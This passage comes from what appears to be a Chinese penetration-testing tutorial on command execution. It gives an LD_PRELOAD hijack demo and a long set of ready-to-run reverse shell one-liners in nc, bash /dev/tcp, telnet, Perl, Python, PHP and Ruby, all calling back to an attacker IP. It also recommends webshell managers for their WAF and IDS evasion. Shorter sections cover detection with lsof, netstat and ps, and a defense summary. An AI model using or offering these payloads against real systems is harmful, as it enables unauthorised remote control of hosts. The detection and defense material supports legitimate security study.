之所以劫持getuid(),是因为sendmail程序会调用该函数(当然也可以为其他被调用的系统函数),在真实环境中,存在两方面问题:

  1. 某些环境中, web 禁止启用 sendmail 、甚至系统上根本未安装 sendmail ,也就谈不上劫持getuid() ,通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件;
  2. 即便目标可以启用 sendmail ,由于未将主机名 (hostname 输出 )添加进 hosts 中,导致每次运行sendmail 都要耗时半分钟等待域名解析超时返回 ,www-data 也无法将主机名加入 hosts( 如127.0.0.1lamp\lamp.\lamp.com) 。

实现demo

安装gcc环境

yum -y install gcc

编写c语言源码demo.c

# include<stdlib.h>
# include<stdio.h>
# include<string.h>
__attribute__ ((__constructor__)) void preload (void){
 unsetenv("LD_PRELOAD");
 system("id");
}

编译和环境配置

[root@localhost ~]# gcc -shared -fPIC demo.c -o demo.so
[root@localhost ~]# echo "export LD_PRELOAD=/root/demo.so" >> ~/.bashrc
[root@localhost ~]# source ~/.bashrc
[root@localhost ~]# ls
uid=0(root) gid=0(root) 组=0(root) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
anaconda-ks.cfg  demo.c  demo.so
# 任意命令都会触发id命令

删除操作

[root@localhost ~]# echo $LD_PRELOAD
/root/demo.so
[root@localhost ~]# unset LD_PRELOAD

8. Shell 监听(Reverse Shell)

8.1 基础知识

8.1.1 基本概念

Shell 本质上是用户与操作系统之间的命令交互接口,通过 Shell 可以执行系统命令并控制主机行为。当攻击者获取 Shell(尤其是高权限 Shell)时,即可对目标系统进行完全控制。

反弹 Shell(Reverse Shell) 是一种常见的远程控制技术,其核心思想是:

由被控端主动向攻击者发起网络连接,并将本地 Shell 的输入输出重定向到该连接上。

从网络模型上看,这是对传统 SSH / Telnet 等“正向连接”的角色反转:

  • 控制端(攻击者):监听端口
  • 被控端(目标主机):主动发起连接

标准定义如下:

Reverse Shell 是指被控端主动连接控制端的 TCP/UDP 端口,并将命令行的输入输出重定向至控制端,从而实现远程交互式命令执行。

8.1.2 为什么需要反弹 Shell

在理想情况下,攻击者可以直接连接目标主机(正向连接),例如 SSH、RDP、Web 服务等。但在真实环境中,正向连接往往不可行,

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器,这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

  1. 某客户机中了你的网马,但是它在局域网内,你直接连接不了。
  2. 它的 ip 会动态改变,你不能持续控制。
  3. 由于防火墙等限制,对方机器只能发送请求,不能接收请求。
  4. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

由攻击者在公网或可达地址监听端口,目标主机在合适时机主动连接。

这正是反弹 Shell 的核心使用场景。

反弹shell命令生成可以参考:

https://forum.ywhack.com/shell.php

8.2 使用 nc(Netcat)反弹 Shell

8.2.1 基本 nc 反弹方式

攻击机(服务端)监听端口:

nc -lvp 2333
  • -l:监听模式
  • -v:显示详细信息
  • -p:指定端口

目标机(客户端)发起连接并绑定 Shell:

nc 192.168.173.130 2333 -e /bin/sh

此时:

  • 攻击机获得目标机的 /bin/sh 控制权限
  • 所有命令在目标机执行,结果回显至攻击机

8.2.2 后台持久化执行(无回显)

nohup nc 192.168.173.130 2333 -e /bin/sh 2>&1 /dev/null &

说明:

  • nohup:进程脱离终端,即使 SSH 断开仍继续运行
  • 2>&1 /dev/null:丢弃标准输出与错误输出
  • &:后台执行

适用于:

  • WebShell 场景
  • 远程命令执行但不希望阻塞当前会话

image-20240228171321480

8.2.3 nc 不支持 -e 的替代方案(FIFO)

rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.173.130 2333 > /tmp/f

该方式通过 命名管道(FIFO) 手动完成输入输出重定向,适用于:

  • nc 被裁剪(无 -e 参数)
  • BusyBox / 最小化系统

8.3 Bash 反弹 Shell(不依赖 nc)

当系统存在 Bash 且支持 /dev/tcp 时(注意这个是由解析shell的bash完成,所以某些情况下不支持。):

bash -i >& /dev/tcp/192.168.173.130/2333 0>&1

说明:

  • 由 Bash 自身完成 TCP 连接
  • 不依赖任何外部工具
  • 在受限环境中成功率较高

image-20240228171327180

8.4 Telnet 反弹 Shell

当 nc 与 /dev/tcp 均不可用时,可考虑 Telnet:

mknod backpipe p
telnet 192.168.173.130 2333 0<backpipe | /bin/bash 1>backpipe

该方法本质仍是:

  • 使用管道模拟标准输入输出
  • 通过 Telnet 建立 TCP 通道

image-20240228171331001

补充:

通过 nc / bash / php 等方式获得的反弹 shell,本质只是一个半交互 shell,常见问题包括:

  • 不能使用 susudo
  • 不能使用方向键、补全(Tab)
  • 不能正确显示 vi / less / top
  • Ctrl+C 会直接断开连接
  • 无法正确回显命令

原因是: 当前 shell 没有关联到一个真正的 TTY(终端设备)

解决方法

利用 Python 的 pty 模块,创建一个伪终端(pseudo-terminal), 并将 /bin/bash/bin/sh 绑定到该终端。

这样系统会认为你是“真正通过终端登录的用户”。

python3 -c 'import pty; pty.spawn("/bin/bash")'

运行前:

image-20260125205804732

运行后:

image-20260125205831139

8.5 Perl 反弹 Shell

如果服务器环境存在perl,还可以使用perl版本

8.5.1 方式一:Socket 原生

perl -e 'use Socket;$i="192.168.173.130";$p=2333;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");
exec("/bin/sh -i");};'

image-20240228171335551

8.5.2 方式二:IO::Socket

perl -MIO -e '$p=fork;exit,if($p);
$c=new IO::Socket::INET(PeerAddr,"192.168.173.130:2333");
STDIN->fdopen($c,r);$~->fdopen($c,w);
system$_ while<>;'

image-20240228171412811

8.6 Python 反弹 Shell

8.6.1 方式一:socket + dup2

python -c 'import socket,subprocess,os;
s=socket.socket();
s.connect(("192.168.173.130",2333));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'

image-20240228172133676

8.6.2 方式二:命令回显式

python -c "exec(\"import socket,subprocess;
s=socket.socket();s.connect(('192.168.173.130',2333));
while 1:
 p=subprocess.Popen(s.recv(1024),shell=True,
 stdout=subprocess.PIPE,stderr=subprocess.PIPE);
 s.send(p.stdout.read()+p.stderr.read())\")"

image-20240228172202882

8.7 PHP 反弹 Shell

php -r '$sock=fsockopen("192.168.173.130",2333);
exec("/bin/sh -i <&3 >&3 2>&3");'

常见于:

  • Web 命令执行
  • 文件包含 / 反序列化利用

image-20240228171747937

8.8 Ruby 反弹 Shell

ruby -rsocket -e 'exit if fork;
c=TCPSocket.new("192.168.172.130","2333");
while(cmd=c.gets);
IO.popen(cmd,"r"){|io|c.print io.read}end'

不依赖于/bin/sh的shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.172.130","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

如果目标系统运行Windows (未进行验证)

ruby -rsocket -e 'c=TCPSocket.new("192.168.173.130","2333");while(cmd=c.gets);IO.popen(cmd,"r")

8.9 反弹 Shell 的检测与排查

8.9.1 TCP 连接状态分析

可以通过对本机进程的状态,网络连接的状态进行排查 在 TCP/IP 协议中,TCP 连接可以有多种状态,不同的状态代表连接处于不同的工作阶段或状态。下面是一些常见的 TCP 连接状态:

  • LISTEN // 表示当前主机正在监听并等待传入连接请求。
  • SYN_SENT // 表示客户端发送了一个 SYN 包,请求建立连接,并等待服务器回复。
  • SYN_RECEIVED // 表示服务器收到了客户端的 SYN 包,并发送了一个 SYN/ACK 包回复,表示准备建立连接。
  • ESTABLISHED // 表示连接已成功建立,正在进行数据传输和通信。
  • FIN_WAIT_1/FIN_WAIT_2 // 表示连接被远程主机关闭,但本地主机尚未完成所有数据传输操作。
  • CLOSE_WAIT // 表示本地主机已经关闭了连接,但远程主机仍在传输数据。
  • CLOSING // 表示连接正在两个方向上同时关闭。
  • TIME_WAIT // 表示连接已经关闭,但本地主机还在等待可能延迟的数据包。
  • LAST_ACK // 表示本地主机发送了一个 FIN 包,请求关闭连接,并等待远程主机的 ACK响应。

对于每个连接,其状态会在TCP头部信息中进行标记,并通过网络工具(如netstat、ss等)进行显示。 检查TCP连接状态可以帮助用户了解网络连接是否正常工作,以及哪些进程或应用程序在使用网络资源,从而进行故障排除和性能分析等操作。

异常的 长期 ESTABLISHED 外联连接 通常值得重点关注。

8.9.2 lsof 检测

lsof是一个常用的系统工具,用于列出当前系统打开的所有文件(包括网络套接字、硬件设备、进程和用户等),以及它们的相关信息和属性。lsof可以帮助用户了解系统中正在运行的进程和它们所使用的文件、端口和套接字,以便进行故障排除、性能调优和安全审计等操作。 下面是 lsof 命令的一些常用选项和用法:

  • lsof -i // 列出当前打开的网络套接字和端口。
  • lsof -u // 列出指定用户的所有打开文件和进程。
  • lsof -p // 列出指定进程 ID 的所有打开文件和套接字。
  • lsof -c // 列出指定进程名称的所有打开文件和套接字。
  • lsof -i : // 列出指定端口的所有监听进程和套接字。
  • lsof -i TCP: // 列出指定 TCP 端口的所有监听进程和套接字。
  • lsof -i UDP: // 列出指定 UDP 端口的所有监听进程和套接字。
  • lsof -n // 禁止主机名解析

需要注意的是,lsof命令需要root或相应权限才能访问所有进程和文件。在使用lsof命令时,请仔细阅读文档并确保了解其功能和用法,以避免对系统造成不必要的影响和损害。

lsof -n | grep ESTABLISHED

image-20240228172339741

或定位端口、进程:

lsof -i :2333

8.9.3 netstat 检测

netstat是一个常用的网络工具,用于显示当前系统的网络连接和网络统计信息。netstat可以列出打开的端口、监听的端口、网络连接状态、网络接口信息等,并可以输出各种格式的报告以及进行网络故障排除和性能分析等操作。 以下是 netstat 命令的一些常用选项和用法:

  • netstat -a // 列出所有打开的端口和套接字。
  • netstat -o // 列出所有连接的进程 ID 。
  • netstat -t // 只列出 TCP 协议相关的端口和连接状态。
  • netstat -u // 只列出 UDP 协议相关的端口和连接状态。
  • netstat -n // 使用数字格式显示 IP 地址和端口号,而不进行主机名解析。
  • netstat -p // 同时显示进程名称和 ID ,以及它们所使用的网络连接和端口。
  • netstat -r // 显示当前系统的路由表和路由信息。
  • netstat -i // 显示当前系统的网络接口信息和统计数据。

需要注意的是,netstat命令的选项和输出格式可能因操作系统和版本而有所差异。在使用netstat命令时,请参考相应的文档和帮助信息,并了解其功能和用法,以避免对系统造成不必要的影响和损害。

netstat -anop |grep ESTABLISHED

image-20240228172345740

8.9.4 ps 进程排查

ps命令是一个用于显示当前系统进程状态和信息的常用工具。它可以列出所有正在运行的进程,并显示它们的PID(进程 ID)、PPID(父进程 ID)、CPU 占用率、内存占用、启动时间、命令名等相关信息,以便进行进程管理、性能分析和故障排除等操作。 以下是 ps 命令的一些常用选项和用法:

  • ps -ef // 列出所有进程的详细信息,包括进程的所有者、 PID 、占用 CPU 和内存的百分比、命令名等。
  • ps -aux // 类似于 -ef ,但会显示更多的进程信息,如进程的启动时间、运行时间、命令行参数等。
  • ps -p // 显示指定 PID 的进程信息。
  • ps -C // 显示指定命令名称的进程信息。
  • ps -u // 显示指定用户名称的进程信息。
  • ps -o // 自定义输出格式,可以选择要显示的列和它们的顺序、标题等。

需要注意的是,ps命令的选项和输出格式可能因操作系统和版本而有所差异。在使用ps命令时,请参考相应的文档和帮助信息,并了解其功能和用法,以避免对系统造成不必要的影响和损害。 直接通过ps -ef,查看有无反弹shell的常见命令

ps -ef |grep php

image-20240228172356448

重点关注:

  • nc / bash / python / perl
  • 与 Web 服务用户关联的异常进程

8.9.5 ls

ls -al /proc/****/fd命令会显示指定进程的文件描述符目录,其中包含了所有该进程打开的文件和 设备。ls命令的-al选项表示以详细列表格式显示目录内容,包括文件权限、所有者、大小、时间戳等信 息。 需要注意的是,由于这个命令需要访问 "/proc" 文件系统,因此需要 root 或相应权限才能运行。同时, 在使用 grep 命令时,请确保使用正确的搜索条件和选项,以避免输出不必要的信息或误判结果。

sudo ls -al /proc/****/fd |grep "tty"

image-20240228172402445

9.防御总结

  • 形成漏洞的原因:可控变量,函数漏洞
  • 对于用户输入的数据,应该对输入进行适当的验证和过滤,以确保其中不包含任何非法字符或命令序列。
  • 对于命令执行操作,应该使用参数化查询或存储过程等方式,避免直接拼接用户输入到命令中。
  • 在命令参数中使用引号将参数括起来,避免参数被错误地分解为多个单独的参数。
  • 对于敏感操作,应该限制用户的权限,并且只允许经过授权的用户执行特定的命令和操作。
  • 尽量不要使用eval()函数和shell_exec()函数等执行系统命令的函数。
  • 使用参数化查询或存储过程等方式,将用户输入数据传递给数据库或其他服务,而不是直接拼接到命令中。
  • 避免使用系统默认路径,尽可能使用绝对路径来指定命令执行的位置。
  • 限制程序运行权限,尽可能地降低程序运行的权限,限制对系统资源的访问范围,避免被攻击者利用。
  • 定期更新系统和软件,修补已知的漏洞,加强系统安全性。

10.webshell工具

蚁剑: https://github.com/AntSwordProject/antSword
冰蝎: https://github.com/rebeyond/Behinder
哥斯拉: https://github.com/BeichenDream/Godzilla

当你成功上传或写入了一句话木马后,需要使用工具进行连接管理。

  1. 蚁剑 (AntSword): Github
    • 特点: 核心源码基于 Electron,支持插件化,修改 User-Agent 和编码器非常方便,适合绕过简单的 WAF。
  2. 冰蝎 (Behinder): Github
    • 特点: 只有 Java 版本。主要特点是 通信流量加密(AES/XOR),且服务端木马会有动态密钥交换过程,很难被 IDS 识别。
  3. 哥斯拉 (Godzilla): Github
    • 特点: 同样流量加密,不仅支持 JSP/PHP/ASP,还内置了大量内存马注入模块,绕过能力极强。

results matching ""

    No results matching ""